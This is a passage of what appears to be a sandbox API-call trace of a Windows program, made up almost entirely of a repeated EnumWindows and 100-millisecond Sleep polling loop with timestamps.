EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.552] Sleep (dwMilliseconds=0x64) [0251.630] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.631] Sleep (dwMilliseconds=0x64) [0251.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.708] Sleep (dwMilliseconds=0x64) [0251.793] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.795] Sleep (dwMilliseconds=0x64) [0251.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.880] Sleep (dwMilliseconds=0x64) [0251.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.973] Sleep (dwMilliseconds=0x64) [0252.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.067] Sleep (dwMilliseconds=0x64) [0252.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.161] Sleep (dwMilliseconds=0x64) [0252.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.224] Sleep (dwMilliseconds=0x64) [0252.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.286] Sleep (dwMilliseconds=0x64) [0252.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.395] Sleep (dwMilliseconds=0x64) [0252.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.474] Sleep (dwMilliseconds=0x64) [0252.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.599] Sleep (dwMilliseconds=0x64) [0252.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.677] Sleep (dwMilliseconds=0x64) [0252.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.754] Sleep (dwMilliseconds=0x64) [0252.834] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.835] Sleep (dwMilliseconds=0x64) [0252.920] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.921] Sleep (dwMilliseconds=0x64) [0252.993] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0252.994] Sleep (dwMilliseconds=0x64) [0253.068] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.069] Sleep (dwMilliseconds=0x64) [0253.131] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.132] Sleep (dwMilliseconds=0x64) [0253.177] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.178] Sleep (dwMilliseconds=0x64) [0253.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.255] Sleep (dwMilliseconds=0x64) [0253.357] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.358] Sleep (dwMilliseconds=0x64) [0253.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.442] Sleep (dwMilliseconds=0x64) [0253.521] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.522] Sleep (dwMilliseconds=0x64) [0253.598] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.599] Sleep (dwMilliseconds=0x64) [0253.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.677] Sleep (dwMilliseconds=0x64) [0253.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.770] Sleep (dwMilliseconds=0x64) [0253.853] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.854] Sleep (dwMilliseconds=0x64) [0253.938] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0253.939] Sleep (dwMilliseconds=0x64) [0254.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.020] Sleep (dwMilliseconds=0x64) [0254.111] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.112] Sleep (dwMilliseconds=0x64) [0254.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.207] Sleep (dwMilliseconds=0x64) [0254.296] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.297] Sleep (dwMilliseconds=0x64) [0254.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.396] Sleep (dwMilliseconds=0x64) [0254.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.489] Sleep (dwMilliseconds=0x64) [0254.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.582] Sleep (dwMilliseconds=0x64) [0254.630] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.631] Sleep (dwMilliseconds=0x64) [0254.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.677] Sleep (dwMilliseconds=0x64) [0254.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.754] Sleep (dwMilliseconds=0x64) [0254.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0254.833] Sleep (dwMilliseconds=0x64) [0255.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.004] Sleep (dwMilliseconds=0x64) [0255.104] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.106] Sleep (dwMilliseconds=0x64) [0255.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.192] Sleep (dwMilliseconds=0x64) [0255.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.271] Sleep (dwMilliseconds=0x64) [0255.362] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.363] Sleep (dwMilliseconds=0x64) [0255.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.457] Sleep (dwMilliseconds=0x64) [0255.534] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.535] Sleep (dwMilliseconds=0x64) [0255.598] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.599] Sleep (dwMilliseconds=0x64) [0255.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.676] Sleep (dwMilliseconds=0x64) [0255.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.754] Sleep (dwMilliseconds=0x64) [0255.850] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.851] Sleep (dwMilliseconds=0x64) [0255.958] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0255.959] Sleep (dwMilliseconds=0x64) [0256.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.051] Sleep (dwMilliseconds=0x64) [0256.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.208] Sleep (dwMilliseconds=0x64) [0256.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.290] Sleep (dwMilliseconds=0x64) [0256.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.396] Sleep (dwMilliseconds=0x64) [0256.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.489] Sleep (dwMilliseconds=0x64) [0256.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.583] Sleep (dwMilliseconds=0x64) [0256.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.677] Sleep (dwMilliseconds=0x64) [0256.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.770] Sleep (dwMilliseconds=0x64) [0256.852] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.853] Sleep (dwMilliseconds=0x64) [0256.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0256.928] Sleep (dwMilliseconds=0x64) [0257.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.020] Sleep (dwMilliseconds=0x64) [0257.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.114] Sleep (dwMilliseconds=0x64) [0257.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.208] Sleep (dwMilliseconds=0x64) [0257.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.426] Sleep (dwMilliseconds=0x64) [0257.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.488] Sleep (dwMilliseconds=0x64) [0257.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.552] Sleep (dwMilliseconds=0x64) [0257.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.645] Sleep (dwMilliseconds=0x64) [0257.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.739] Sleep (dwMilliseconds=0x64) [0257.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.832] Sleep (dwMilliseconds=0x64) [0257.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0257.911] Sleep (dwMilliseconds=0x64) [0258.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.004] Sleep (dwMilliseconds=0x64) [0258.106] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.107] Sleep (dwMilliseconds=0x64) [0258.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.192] Sleep (dwMilliseconds=0x64) [0258.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.286] Sleep (dwMilliseconds=0x64) [0258.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.411] Sleep (dwMilliseconds=0x64) [0258.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.474] Sleep (dwMilliseconds=0x64) [0258.583] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.585] Sleep (dwMilliseconds=0x64) [0258.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.677] Sleep (dwMilliseconds=0x64) [0258.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.770] Sleep (dwMilliseconds=0x64) [0258.864] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.865] Sleep (dwMilliseconds=0x64) [0258.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0258.958] Sleep (dwMilliseconds=0x64) [0259.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.021] Sleep (dwMilliseconds=0x64) [0259.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.084] Sleep (dwMilliseconds=0x64) [0259.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.176] Sleep (dwMilliseconds=0x64) [0259.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.271] Sleep (dwMilliseconds=0x64) [0259.377] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.379] Sleep (dwMilliseconds=0x64) [0259.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.474] Sleep (dwMilliseconds=0x64) [0259.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.567] Sleep (dwMilliseconds=0x64) [0259.649] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.650] Sleep (dwMilliseconds=0x64) [0259.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.739] Sleep (dwMilliseconds=0x64) [0259.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.832] Sleep (dwMilliseconds=0x64) [0259.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.926] Sleep (dwMilliseconds=0x64) [0259.991] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0259.992] Sleep (dwMilliseconds=0x64) [0260.043] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.044] Sleep (dwMilliseconds=0x64) [0260.117] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.118] Sleep (dwMilliseconds=0x64) [0260.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.210] Sleep (dwMilliseconds=0x64) [0260.303] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.304] Sleep (dwMilliseconds=0x64) [0260.429] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.431] Sleep (dwMilliseconds=0x64) [0260.515] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.517] Sleep (dwMilliseconds=0x64) [0260.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.618] Sleep (dwMilliseconds=0x64) [0260.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.661] Sleep (dwMilliseconds=0x64) [0260.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.755] Sleep (dwMilliseconds=0x64) [0260.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.895] Sleep (dwMilliseconds=0x64) [0260.989] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0260.990] Sleep (dwMilliseconds=0x64) [0261.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.083] Sleep (dwMilliseconds=0x64) [0261.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.176] Sleep (dwMilliseconds=0x64) [0261.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.271] Sleep (dwMilliseconds=0x64) [0261.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.364] Sleep (dwMilliseconds=0x64) [0261.455] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.457] Sleep (dwMilliseconds=0x64) [0261.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.520] Sleep (dwMilliseconds=0x64) [0261.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.614] Sleep (dwMilliseconds=0x64) [0261.708] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.709] Sleep (dwMilliseconds=0x64) [0261.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.802] Sleep (dwMilliseconds=0x64) [0261.895] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.897] Sleep (dwMilliseconds=0x64) [0261.943] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.944] Sleep (dwMilliseconds=0x64) [0261.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0261.989] Sleep (dwMilliseconds=0x64) [0262.169] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.170] Sleep (dwMilliseconds=0x64) [0262.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.255] Sleep (dwMilliseconds=0x64) [0262.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.333] Sleep (dwMilliseconds=0x64) [0262.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.442] Sleep (dwMilliseconds=0x64) [0262.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.536] Sleep (dwMilliseconds=0x64) [0262.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.629] Sleep (dwMilliseconds=0x64) [0262.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.723] Sleep (dwMilliseconds=0x64) [0262.813] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.814] Sleep (dwMilliseconds=0x64) [0262.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.897] Sleep (dwMilliseconds=0x64) [0262.982] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0262.983] Sleep (dwMilliseconds=0x64) [0263.026] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.027] Sleep (dwMilliseconds=0x64) [0263.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.067] Sleep (dwMilliseconds=0x64) [0263.145] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.146] Sleep (dwMilliseconds=0x64) [0263.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.301] Sleep (dwMilliseconds=0x64) [0263.400] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.401] Sleep (dwMilliseconds=0x64) [0263.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.489] Sleep (dwMilliseconds=0x64) [0263.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.568] Sleep (dwMilliseconds=0x64) [0263.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.645] Sleep (dwMilliseconds=0x64) [0263.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.739] Sleep (dwMilliseconds=0x64) [0263.844] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.845] Sleep (dwMilliseconds=0x64) [0263.928] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0263.931] Sleep (dwMilliseconds=0x64) [0264.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.020] Sleep (dwMilliseconds=0x64) [0264.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.114] Sleep (dwMilliseconds=0x64) [0264.182] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.183] Sleep (dwMilliseconds=0x64) [0264.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.224] Sleep (dwMilliseconds=0x64) [0264.286] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.287] Sleep (dwMilliseconds=0x64) [0264.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.364] Sleep (dwMilliseconds=0x64) [0264.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.473] Sleep (dwMilliseconds=0x64) [0264.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.568] Sleep (dwMilliseconds=0x64) [0264.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.662] Sleep (dwMilliseconds=0x64) [0264.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.755] Sleep (dwMilliseconds=0x64) [0264.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.848] Sleep (dwMilliseconds=0x64) [0264.922] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.924] Sleep (dwMilliseconds=0x64) [0264.996] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0264.997] Sleep (dwMilliseconds=0x64) [0265.072] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.074] Sleep (dwMilliseconds=0x64) [0265.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.176] Sleep (dwMilliseconds=0x64) [0265.265] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.266] Sleep (dwMilliseconds=0x64) [0265.338] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.339] Sleep (dwMilliseconds=0x64) [0265.392] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.393] Sleep (dwMilliseconds=0x64) [0265.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.474] Sleep (dwMilliseconds=0x64) [0265.559] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.560] Sleep (dwMilliseconds=0x64) [0265.666] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.667] Sleep (dwMilliseconds=0x64) [0265.772] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.773] Sleep (dwMilliseconds=0x64) [0265.864] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.865] Sleep (dwMilliseconds=0x64) [0265.951] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0265.952] Sleep (dwMilliseconds=0x64) [0266.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.005] Sleep (dwMilliseconds=0x64) [0266.090] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.091] Sleep (dwMilliseconds=0x64) [0266.190] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.191] Sleep (dwMilliseconds=0x64) [0266.275] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.276] Sleep (dwMilliseconds=0x64) [0266.360] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.361] Sleep (dwMilliseconds=0x64) [0266.482] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.483] Sleep (dwMilliseconds=0x64) [0266.524] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.525] Sleep (dwMilliseconds=0x64) [0266.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.567] Sleep (dwMilliseconds=0x64) [0266.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.646] Sleep (dwMilliseconds=0x64) [0266.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.723] Sleep (dwMilliseconds=0x64) [0266.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.849] Sleep (dwMilliseconds=0x64) [0266.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0266.926] Sleep (dwMilliseconds=0x64) [0267.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.005] Sleep (dwMilliseconds=0x64) [0267.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.084] Sleep (dwMilliseconds=0x64) [0267.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.161] Sleep (dwMilliseconds=0x64) [0267.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.239] Sleep (dwMilliseconds=0x64) [0267.317] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.318] Sleep (dwMilliseconds=0x64) [0267.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.411] Sleep (dwMilliseconds=0x64) [0267.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.489] Sleep (dwMilliseconds=0x64) [0267.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.567] Sleep (dwMilliseconds=0x64) [0267.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.647] Sleep (dwMilliseconds=0x64) [0267.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.739] Sleep (dwMilliseconds=0x64) [0267.827] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.828] Sleep (dwMilliseconds=0x64) [0267.905] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0267.906] Sleep (dwMilliseconds=0x64) [0268.137] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.138] Sleep (dwMilliseconds=0x64) [0268.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.223] Sleep (dwMilliseconds=0x64) [0268.313] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.315] Sleep (dwMilliseconds=0x64) [0268.371] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.372] Sleep (dwMilliseconds=0x64) [0268.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.442] Sleep (dwMilliseconds=0x64) [0268.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.520] Sleep (dwMilliseconds=0x64) [0268.598] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.599] Sleep (dwMilliseconds=0x64) [0268.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.692] Sleep (dwMilliseconds=0x64) [0268.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.770] Sleep (dwMilliseconds=0x64) [0268.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.849] Sleep (dwMilliseconds=0x64) [0268.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0268.942] Sleep (dwMilliseconds=0x64) [0269.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.036] Sleep (dwMilliseconds=0x64) [0269.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.129] Sleep (dwMilliseconds=0x64) [0269.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.254] Sleep (dwMilliseconds=0x64) [0269.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.364] Sleep (dwMilliseconds=0x64) [0269.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.474] Sleep (dwMilliseconds=0x64) [0269.536] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.537] Sleep (dwMilliseconds=0x64) [0269.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.614] Sleep (dwMilliseconds=0x64) [0269.709] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.710] Sleep (dwMilliseconds=0x64) [0269.802] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.803] Sleep (dwMilliseconds=0x64) [0269.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.896] Sleep (dwMilliseconds=0x64) [0269.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0269.989] Sleep (dwMilliseconds=0x64) [0270.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.067] Sleep (dwMilliseconds=0x64) [0270.161] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.162] Sleep (dwMilliseconds=0x64) [0270.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.254] Sleep (dwMilliseconds=0x64) [0270.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.348] Sleep (dwMilliseconds=0x64) [0270.417] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.418] Sleep (dwMilliseconds=0x64) [0270.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.458] Sleep (dwMilliseconds=0x64) [0270.520] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.521] Sleep (dwMilliseconds=0x64) [0270.614] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.615] Sleep (dwMilliseconds=0x64) [0270.693] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.694] Sleep (dwMilliseconds=0x64) [0270.742] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.743] Sleep (dwMilliseconds=0x64) [0270.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.801] Sleep (dwMilliseconds=0x64) [0270.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.864] Sleep (dwMilliseconds=0x64) [0270.957] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0270.957] Sleep (dwMilliseconds=0x64) [0271.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.051] Sleep (dwMilliseconds=0x64) [0271.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.145] Sleep (dwMilliseconds=0x64) [0271.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.208] Sleep (dwMilliseconds=0x64) [0271.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.270] Sleep (dwMilliseconds=0x64) [0271.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.363] Sleep (dwMilliseconds=0x64) [0271.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.473] Sleep (dwMilliseconds=0x64) [0271.652] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.653] Sleep (dwMilliseconds=0x64) [0271.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.708] Sleep (dwMilliseconds=0x64) [0271.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.801] Sleep (dwMilliseconds=0x64) [0271.897] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.899] Sleep (dwMilliseconds=0x64) [0271.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0271.989] Sleep (dwMilliseconds=0x64) [0272.082] EnumWindows 